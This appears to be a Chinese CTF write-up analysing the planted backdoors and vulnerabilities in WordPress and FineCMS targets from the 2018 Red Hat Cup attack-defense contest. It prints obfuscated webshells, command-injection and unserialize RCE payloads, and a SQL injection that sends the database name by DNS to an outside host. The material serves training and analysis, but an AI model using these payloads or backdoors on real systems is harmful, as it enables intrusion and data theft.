2018红帽杯线下攻防赛Web总结

这次的红帽杯线下赛,两个Web被打的一头雾水,不知道怎么回事...

于是赛后进行了漏洞发现和总结,有了这篇文。

漏洞发现方式

赛后为了可以找到绝大数主办方留下的漏洞,我选择下载官方对应版本的cms,然后进行diff

这里的

web1为wordpress 4.9.5

web2为finecms 5.2.0

值得一提的是,finecms除了有主办方预留的漏洞外,还有cms本身的漏洞,大概算是1day吧

windows上推荐的diff工具为:DiffMerge

但实际比赛中,并不会开放外网,而以前万能的D盾现在也只能发现比较显而易见的预留后门了

所以具有关键字符搜索,审计的能力也很重要

不得不佩服比赛时候的大佬们,竟然可以在很短的时间内,发掘出各种漏洞(D盾可查杀马之外),并迅速编写poc打全场

以下是源码分享:

链接:

https://pan.baidu.com/s/1vNzET0feN-SmaZEEaq3MEA

密码: dvxk

web1

漏洞我一共发掘出4个,全部是主办方预留的后门,除了index.php显然可见外,其他都是我Diff发掘的

所以说我很佩服大佬们的快速审计能力,因为这些洞基本是主办方插在一些正常文件中的,只能说技不如人,甘拜下风~

命令执行1

文件路径

/wp-admin/tools.php

代码截选如下

$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];

@$poc_2($_POST['_']);

非常容易看出

@assert($_POST['_']);

显然是一个常见的小马,就不多说什么了

命令执行2

文件路径

/wp-login.php

代码截选如下

php

case 'debug':

$file = addslashes($_POST['file']);

system("find /tmp -iname ".escapeshellcmd($file));

break;

根据官方手册

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

单引号(')

双引号(")

反斜杠(\)

NULL

只要不出现这个字符,即可不受addslashes()影响

然后发现系统会执行find命令,后面参数可控

我们测试加上-or,发现

sky@ubuntu:~/Desktop$ find /tmp -iname sth -or a

find: paths must precede expression: a

Usage: find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec|time] [path...] [expression]

明显看到有exec参数

我们尝试

sky@ubuntu:~/Desktop$ find /tmp -iname sth -or -exec ls

find: missing argument to `-exec'

但是发现会被告知缺少参数,查阅资料可以知道:

-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。

我们尝试

find /tmp -iname sth -or -exec ls \;

发现程序会循环打印ls结果

我们加上-quit以只打印一次即可

sky@ubuntu:~/Desktop$ find /tmp -iname sth -or -exec ls \; -quit

difflog v5 vmware-tools-distrib web2.txt zzz

finecms_5.2.0.zip v5.txt web2 web2.zip zzz.txt

发现成功进行了ls命令

尝试读文件

后得到

poc:

file=sth -or -exec cat /etc/passwd ; -quit

为什么;前不需要加转义符?

因为escapeshellcmd()官方手册是这样描述的:

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

所以经过处理,程序会自动给我们的;加上转义符

php > $file="sth -or -exec cat /etc/passwd ; -quit";

php > var_dump(escapeshellcmd($file));

string(38) "sth -or -exec cat /etc/passwd \; -quit"

命令执行3

文件路径

index.php

代码如下

php

@eval($_POST['admin']);

可以发现是一个明显的小马,耳熟能详,不再详解

命令执行4

文件路径

wp-includes/class-wp-cachefile.php

代码如下

class Template {

public $cacheFile = '/tmp/cachefile';

public $template = '<div>Welcome back %s</div>';

public function __construct($data = null) {

$data = $this->loadData($data);

$this->render($data);

}

public function loadData($data) {

if (substr($data, 0, 2) !== 'O:'

&& !preg_match('/O:\d:\/', $data)) {

return unserialize($data);

}

return [];

}

public function createCache($file = null, $tpl = null) {

$file = $file ?? $this->cacheFile;

$tpl = $tpl ?? $this->template;

file_put_contents($file, $tpl);

}

public function render($data) {

echo sprintf(

$this->template,

htmlspecialchars($data['name'])

);

}

public function __destruct() {

$this->createCache();

}

}

new Template($_COOKIE['data']);

赛后我进行研究的时候,找到原题

https://github.com/bl4de/security_whitepapers/blob/master/RIPS_PHP_Security_Calendar_2017.md

真心服了,不过这个洞应该在比赛的时候是用不起来的

首先??是php7的新特性,而比赛的时候php应该是5系列的

其次是主办方魔改题目

if (substr($data, 0, 2) !== 'O:'

&& !preg_match('/O:\d:\/', $data))

这里直接改出了bug

最后一个`\`转义了`/`,而原题,这个`\`是用来转义`{`的,主办方强行删除`{`,导致直接有了语法问题。。。。。

Warning: preg_match(): No ending delimiter '/' found in 222.php on line 12

简单说明一下构造流程

1.首先传入$_COOKIE['data']

2.触发__construct()

3.触发$data = $this->loadData($data);

4.触发unserialize($data);

5.触发__destruct()

6.触发createCache()

7.最后来到file_put_contents($file, $tpl);

达成任意写文件的目的

构造

<?php

class Template {

public $cacheFile = './sky.php';

public $template = '<?php phpinfo();';

}

$a = new Template();

$data = serialize($a);

echo $data;

得到

O:8:"Template":2:{s:9:"cacheFile";s:9:"./sky.php";s:8:"template";s:16:"<?php phpinfo();";}

添加上绕过检测的部分,最后给出payload

a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:9:"./sky.php";s:8:"template";s:16:"<?php phpinfo();";}}

简单说明一下,首先利用

a:1:{i:0;..........}

绕过第一个检测

(substr($data, 0, 2) !== 'O:'

利用`+`绕过第二个检测

!preg_match('/O:\d:\/', $data)

其他

剩下的我还找到一些不知道是不是别人马的文件,这里就没有分析

因为感觉像是上来就被种后门了,类似于

<script language="PHP">if(md5($_GET[guo])==="fe831851246d186db20c229fa19a0172"){@eval($_POST[power]);}</script>

这种带了md5才能使用的后门,个人感觉应该是别人的马

但是比赛刚开始就被种上了,我就很迷,因为简单的洞我们都是上来就直接注释了,难的洞不会1,2分钟就写好POC打全场了吧= =

所以我分不太清楚是主办方留的还是大牛的手速太快……打了几场AD,这还是第一次遇到这么快被种后门的= =

另外听说还有巨巨们使用了Ubuntu16.04.4本地提权漏洞,直接在给予权限极低的web1机器上获取了root权限,并还进行了批量利用提权……本菜鸡真的是佩服

web2

这里用D盾可以简单查杀出2个明显的shell

剩下的我同样是diff+根据流量+google找到的

命令执行1

文件路径

./config/site/1.php

问题代码如下(为节约篇幅,这里截选关键代码)

'SITE_DOMAINS' => '123sadccv=>1)&&($_GET[a]($_GET[b]));exit();$a=array(a', //网站的其他域名

可以明显看到webshell

($_GET[a]($_GET[b]))

触发方式也很简单

a=system&b=cat /flag

即可触发命令执行漏洞

简单演示一下

<?php

$a='system';

$b='dir';

$a($b);

?>

运行结果

2018/03/26 07:27 1,176 pgAdmin4.exe.lnk

2017/08/30 20:36 202 Plague Inc Evolved.url

[Finished in 0.3s]

命令执行2

文件路径

./config/site/2.php

可以看到该文件为混淆过的小马

<?php

$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(50).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();

我们简单调试一下看看什么结果

<?php

$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(50).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();

var_dump($_cC);

?>

得到回显

string(16) "eval($_POST[2]);"

[Finished in 0.1s]

可以看到就是一个很简单的小马:

eval($_POST[2]);

这个就不用演示了,想必大家都熟知

直接在post里使用即可

2=phpinfo();

命令执行3

由于当时被打的很懵逼

赛后我进行了整理,首先确定了finecms的版本:

<?php

return array(

'DR_UPDATE' => '2017.12.28',

'DR_VERSION' => '5.2.0',

);

下载了相应版本的finecms

然后进行文件夹内容diff

发现如下新增文件

文件路径

./finecms/dayrui/config/config.class.php

我们定位到代码

<?php

$config = unserialize(base64_decode($config));

if(isset($_GET['param'])){

$config->$_GET['param'];

}

class FinecmsConfig{

private $config;

private $path;

public $filter;

public function __construct($config=""){

$this->config = $config;

echo 123;

}

public function getConfig(){

if($this->config == ""){

$config = isset($_POST['Finecmsconfig'])?$_POST['Finecmsconfig']:"";

}

}

public function SetFilter($value){

if($this->filter){

foreach($this->filter as $filter){

$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);

}

$this->filter = array();

}else{

return false;

}

return true;

}

public function __get($key){

$this->SetFilter($key);

die("");

}

}

很容易看到关键函数

call_user_func

这让我立刻想到了命令执行

随机我构造了测试脚本

<?php

class FinecmsConfig{

private $config;

private $path;

public $filter=array('system','system');

}

$fuck = new FinecmsConfig();

echo base64_encode(serialize($fuck));

?>

生成构造出的序列化base64编码值

TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6Mjp7aTowO3M6Njoic3lzdGVtIjtpOjE7czo2OiJzeXN0ZW0iO319

简单利用

php

<?php

class FinecmsConfig{

private $config;

private $path;

public $filter;

public function __construct($config=""){

$this->config = $config;

echo 123;

}

public function getConfig(){

if($this->config == ""){

$config = isset($_POST['Finecmsconfig'])?$_POST['Finecmsconfig']:"";

}

}

public function SetFilter($value){

if($this->filter){

foreach($this->filter as $filter){

$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);

}

$this->filter = array();

}else{

return false;

}

return true;

}

public function __get($key){

$this->SetFilter($key);

die("");

}

}

$config='TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6Mjp7aTowO3M6Njoic3lzdGVtIjtpOjE7czo2OiJzeXN0ZW0iO319';

$config = unserialize(base64_decode($config));

$param='dir';

if(isset($param)){

$config->$param;

}

发现即可命令执行dir

接下来寻找$config的传入点,我们定位config.class.php文件

全局搜索后即可发现文件包含

文件路径

./finecms/Init.php

文件内容

if(isset($_COOKIE['FINECMS_CONFIG'])){

$config = $_COOKIE['FINECMS_CONFIG'];

require FCPATH.'dayrui/config/config.class.php';

}

发现只要cookie FINECMS_CONFIG为

TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6Mjp7aTowO3M6Njoic3lzdGVtIjtpOjE7czo2OiJzeXN0ZW0iO319

即可用get参数param任意命令执行

命令执行4

这是抓到的别人payload发掘的

/index.php?c=Api&m=html&name=search&format=html&params={"search_sql":"' action=cache name=block.L]=eval(base64_decode($_GET[f0ck]))&$cache[L"}&f0ck=c3lzdGVtKCJjYXQgL2ZsYWciKTs=

比赛的时候不知道怎么回事

赛后一搜,发现是别人2018年3月审计的洞,算是1day吧= =

我说怎么diff不出来,原来是cms自带漏洞

文章链接

https://zhuanlan.zhihu.com/p/35133267

http://lu4n.com/finecms-rce-0day/

payload:

http://localhost/index.php?c=Api&m=html&name=search&format=html&params={"search_sql":"action=cache name=block.L]=phpinfo()&$cache[L"}

sql注入漏洞

同样是赛后搜到的cms自带漏洞:编号CVE-2018-6893

参考链接

https://bbs.ichunqiu.com/thread-36673-1-1.html

poc:

index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(selectload_file(concat(0x5c5c5c5c,database(),0x2e6e65766a32372e636579652e696f5c5c616461)))as total

蛇皮修复法

对于web1当时很痛苦,1是流量没有抓全,找不到问题,2是权限问题,需要拿自己shell再操作,这里我没有什么好的修复办法,也没有保护好这台机器。。。被打了一天……很伤心

而对于web2洞过多,并且包含cms自带漏洞问题,又没有外网,于是我利用了一些小聪明

即总结了check方式

发现check每5分钟只会请求一次index.php和admin.php(因为这里抓到了流量)

且均为get方式,无参数访问

这意味着check可能只通过判断状态响应头是否为200,或者是否当前页面有某些关键信息,来判断主机存活

于是我很蛇皮的ctrl+s保存了index.php和admin.php的前端

然后删光了web2所有文件,将两个纯静态html+静态文件夹上传到服务器。。。

然后就很舒服的过了check,并且永远没有再被攻击……XD

真的服了这个check机制了~

后记

这次AD应该是被打的最惨的一次了,个人审计能力和大佬们的差距真的很大,这次记流量的东西也没部署好,导致直接血崩了。

必须好好反省一下,技不如人,甘拜下风。

文章中可能并没有包含到所有漏洞,若有什么新的发现,请补充,感谢!

-END-

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-06-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏云计算

Clojure和CloudStack

[原文由Sebastien Goasguen撰写]

2066
来自专栏Google Dart

为Flutter应用程序添加交互性 顶

你如何修改你的应用程序,使其对用户输入做出反应? 在本教程中,您将为仅包含非交互式小部件的应用添加交互性。 具体来说,您将通过创建一个管理两个无状态小部件的自定...

1072
来自专栏ChaMd5安全团队

Web应用渗透测试-本地文件包含

0x01 前言 本文的目的在于帮助网络安全爱好者们去识别和测试LFI漏洞,通过研究去探究LFI渗透测试技术以及LFI漏洞通常在哪里被发现。如果你有更好的奇淫技巧...

3539
来自专栏数据之美

文本编辑利器Notepad++ 10个强大而又鲜为人知的特性

Notepad++ 顾名思义就是 windows 内置 Notepad 的增强版,它采用 C++ 编写,性能优秀,不仅小巧(完整安装包仅 3.8MB),功能众多...

2649
来自专栏Seebug漏洞平台

Python 安全 - 从 SSRF 到命令执行惨案

前两天遇到的一个问题,起源是在某个数据包里看到 url= 这个关键字,当时第一想到会不会有 SSRF 漏洞。 以前乌云上有很多从 SSRF 打到内网并执行命...

3009
来自专栏月色的自留地

jxa快速入门,Javascript已加入AppleScript全家桶

1854
来自专栏FreeBuf

你的Outlook真的安全?一条恶意规则远程攻陷你的工作站!

背景 当前,构建恶意Outlook规则的限制条件都比较苛刻,至少需要访问被入侵系统的交互GUI,或者拥有登录凭证,而且还要求攻击方直接与Exchange服务器进...

2137
来自专栏ChaMd5安全团队

CVE-2018-1000156:GNU Patch任意代码执行漏洞分析

GNU Patch 源码下载地址:https://ftp.gnu.org/gnu/patch/

1332
来自专栏FreeBuf

安全扫描工具​Nmap引擎理解文档

作者 yiran4827 本文档介绍了Nmap的系统结构及扫描流程,最后重点介绍了Nmap的NSE扫描脚本。 Nmap简介 Nmap也就是Network Map...

1947
来自专栏草根专栏

用ASP.NET Core 2.0 建立规范的 REST API -- 预备知识 (2) + 准备项目

1990

扫码关注云+社区